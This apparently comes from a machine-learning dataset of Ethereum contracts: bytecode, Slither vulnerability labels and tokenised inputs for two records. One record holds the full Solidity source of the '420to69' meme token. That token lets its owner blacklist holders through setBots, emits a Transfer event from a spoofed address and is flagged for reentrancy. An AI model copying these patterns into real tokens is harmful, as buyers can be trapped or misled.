fffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220293c83f71de6de7452e043f9102a324300ea2b46220c439685d3f55337abbfaa64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 27814, 2629, 2278, 27531, 2692, 2278, 2581, 2063, 28332, 2620, 3540, 2063, 2549, 2497, 26224, 17465, 2683, 11387, 9818, 2094, 2692, 2278, 2509, 2050, 22275, 14142, 2575, 2509, 1013, 1013, 6160, 2000, 5472, 8758, 3007, 999, 2057, 15697, 10951, 2046, 1996, 18804, 16070, 1998, 2079, 15861, 4965, 12221, 2000, 10377, 19204, 13304, 1012, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 2260, 1025, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 1006, 4769, 7799, 1010, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,677
0x9586799e3249ff66b47ad58be9e3b9ccb2c72d53
/** TG: https://t.me/Erc420to69 */ pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Elon420to69 is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "420to69"; string private constant _symbol = "420to69"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x3CB8a81d4d63C4a6205057C704ed64a95706a340); _feeAddrWallet2 = payable(0x3CB8a81d4d63C4a6205057C704ed64a95706a340); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0xd55FF395A7360be0c79D3556b0f65ef44b319575), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb14610293578063b515566a146102b3578063c3c8cd80146102d3578063c9567bf9146102e8578063dd62ed3e146102fd57600080fd5b806370a0823114610236578063715018a6146102565780638da5cb5b1461026b57806395d89b411461010e57600080fd5b8063273123b7116100d1578063273123b7146101c3578063313ce567146101e55780635932ead1146102015780636fc3eaec1461022157600080fd5b806306fdde031461010e578063095ea7b31461014d57806318160ddd1461017d57806323b872dd146101a357600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b506040805180820182526007815266343230746f363960c81b602082015290516101449190611787565b60405180910390f35b34801561015957600080fd5b5061016d610168366004611627565b610343565b6040519015158152602001610144565b34801561018957600080fd5b50683635c9adc5dea000005b604051908152602001610144565b3480156101af57600080fd5b5061016d6101be3660046115e6565b61035a565b3480156101cf57600080fd5b506101e36101de366004611573565b6103c3565b005b3480156101f157600080fd5b5060405160098152602001610144565b34801561020d57600080fd5b506101e361021c36600461171f565b610417565b34801561022d57600080fd5b506101e361045f565b34801561024257600080fd5b50610195610251366004611573565b61048c565b34801561026257600080fd5b506101e36104ae565b34801561027757600080fd5b506000546040516001600160a01b039091168152602001610144565b34801561029f57600080fd5b5061016d6102ae366004611627565b610522565b3480156102bf57600080fd5b506101e36102ce366004611653565b61052f565b3480156102df57600080fd5b506101e36105c5565b3480156102f457600080fd5b506101e36105fb565b34801561030957600080fd5b506101956103183660046115ad565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103503384846109bf565b5060015b92915050565b6000610367848484610ae3565b6103b984336103b485604051806060016040528060288152602001611973602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e30565b6109bf565b5060019392505050565b6000546001600160a01b031633146103f65760405162461bcd60e51b81526004016103ed906117dc565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104415760405162461bcd60e51b81526004016103ed906117dc565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461047f57600080fd5b4761048981610e6a565b50565b6001600160a01b03811660009081526002602052604081205461035490610eef565b6000546001600160a01b031633146104d85760405162461bcd60e51b81526004016103ed906117dc565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610350338484610ae3565b6000546001600160a01b031633146105595760405162461bcd60e51b81526004016103ed906117dc565b60005b81518110156105c15760016006600084848151811061057d5761057d611923565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105b9816118f2565b91505061055c565b5050565b600c546001600160a01b0316336001600160a01b0316146105e557600080fd5b60006105f03061048c565b905061048981610f73565b6000546001600160a01b031633146106255760405162461bcd60e51b81526004016103ed906117dc565b600f54600160a01b900460ff161561067f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103ed565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106bc3082683635c9adc5dea000006109bf565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156106f557600080fd5b505afa158015610709573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072d9190611590565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561077557600080fd5b505afa158015610789573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ad9190611590565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107f557600080fd5b505af1158015610809573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082d9190611590565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061085d8161048c565b6000806108726000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156108d557600080fd5b505af11580156108e9573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061090e9190611759565b5050600f80546802b5e3af16b188000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561098757600080fd5b505af115801561099b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c1919061173c565b6001600160a01b038316610a215760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103ed565b6001600160a01b038216610a825760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103ed565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b475760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103ed565b6001600160a01b038216610ba95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103ed565b60008111610c0b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103ed565b6002600a908155600b556000546001600160a01b03848116911614801590610c4157506000546001600160a01b03838116911614155b15610e20576001600160a01b03831660009081526006602052604090205460ff16158015610c8857506001600160a01b03821660009081526006602052604090205460ff16155b610c9157600080fd5b600f546001600160a01b038481169116148015610cbc5750600e546001600160a01b03838116911614155b8015610ce157506001600160a01b03821660009081526005602052604090205460ff16155b8015610cf65750600f54600160b81b900460ff165b15610d5357601054811115610d0a57600080fd5b6001600160a01b0382166000908152600760205260409020544211610d2e57600080fd5b610d3942601e611882565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610d7e5750600e546001600160a01b03848116911614155b8015610da357506001600160a01b03831660009081526005602052604090205460ff16155b15610db3576002600a908155600b555b6000610dbe3061048c565b600f54909150600160a81b900460ff16158015610de95750600f546001600160a01b03858116911614155b8015610dfe5750600f54600160b01b900460ff165b15610e1e57610e0c81610f73565b478015610e1c57610e1c47610e6a565b505b505b610e2b8383836110fc565b505050565b60008184841115610e545760405162461bcd60e51b81526004016103ed9190611787565b506000610e6184866118db565b95945050505050565b600c546001600160a01b03166108fc610e84836002611107565b6040518115909202916000818181858888f19350505050158015610eac573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610ec7836002611107565b6040518115909202916000818181858888f193505050501580156105c1573d6000803e3d6000fd5b6000600854821115610f565760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103ed565b6000610f60611149565b9050610f6c8382611107565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fbb57610fbb611923565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561100f57600080fd5b505afa158015611023573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110479190611590565b8160018151811061105a5761105a611923565b6001600160a01b039283166020918202929092010152600e5461108091309116846109bf565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110b9908590600090869030904290600401611811565b600060405180830381600087803b1580156110d357600080fd5b505af11580156110e7573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610e2b83838361116c565b6000610f6c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611263565b6000806000611156611291565b90925090506111658282611107565b9250505090565b60008060008060008061117e876112d3565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111b09087611330565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111df9086611372565b6001600160a01b038916600090815260026020526040902055611201816113d1565b61120b848361141b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161125091815260200190565b60405180910390a3505050505050505050565b600081836112845760405162461bcd60e51b81526004016103ed9190611787565b506000610e61848661189a565b6008546000908190683635c9adc5dea000006112ad8282611107565b8210156112ca57505060085492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006112f08a600a54600b5461143f565b9250925092506000611300611149565b905060008060006113138e878787611494565b919e509c509a509598509396509194505050505091939550919395565b6000610f6c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e30565b60008061137f8385611882565b905083811015610f6c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103ed565b60006113db611149565b905060006113e983836114e4565b306000908152600260205260409020549091506114069082611372565b30600090815260026020526040902055505050565b6008546114289083611330565b6008556009546114389082611372565b6009555050565b6000808080611459606461145389896114e4565b90611107565b9050600061146c60646114538a896114e4565b905060006114848261147e8b86611330565b90611330565b9992985090965090945050505050565b60008080806114a388866114e4565b905060006114b188876114e4565b905060006114bf88886114e4565b905060006114d18261147e8686611330565b939b939a50919850919650505050505050565b6000826114f357506000610354565b60006114ff83856118bc565b90508261150c858361189a565b14610f6c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103ed565b803561156e8161194f565b919050565b60006020828403121561158557600080fd5b8135610f6c8161194f565b6000602082840312156115a257600080fd5b8151610f6c8161194f565b600080604083850312156115c057600080fd5b82356115cb8161194f565b915060208301356115db8161194f565b809150509250929050565b6000806000606084860312156115fb57600080fd5b83356116068161194f565b925060208401356116168161194f565b929592945050506040919091013590565b6000806040838503121561163a57600080fd5b82356116458161194f565b946020939093013593505050565b6000602080838503121561166657600080fd5b823567ffffffffffffffff8082111561167e57600080fd5b818501915085601f83011261169257600080fd5b8135818111156116a4576116a4611939565b8060051b604051601f19603f830116810181811085821117156116c9576116c9611939565b604052828152858101935084860182860187018a10156116e857600080fd5b600095505b83861015611712576116fe81611563565b8552600195909501949386019386016116ed565b5098975050505050505050565b60006020828403121561173157600080fd5b8135610f6c81611964565b60006020828403121561174e57600080fd5b8151610f6c81611964565b60008060006060848603121561176e57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156117b457858101830151858201604001528201611798565b818111156117c6576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118615784516001600160a01b03168352938301939183019160010161183c565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156118955761189561190d565b500190565b6000826118b757634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156118d6576118d661190d565b500290565b6000828210156118ed576118ed61190d565b500390565b60006000198214156119065761190661190d565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461048957600080fd5b801515811461048957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220df0917670f614e5cf8d789ce01dbbb264dbe09b0e87795d38b7b7ba070089d9a64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 27814, 2575, 2581, 2683, 2683, 2063, 16703, 26224, 4246, 28756, 2497, 22610, 4215, 27814, 4783, 2683, 2063, 2509, 2497, 2683, 9468, 2497, 2475, 2278, 2581, 2475, 2094, 22275, 1013, 1008, 1008, 1056, 2290, 1024, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 9413, 2278, 20958, 2692, 3406, 2575, 2683, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,678
0x9586da04088053b728cc9652bfabebe68ad20ede
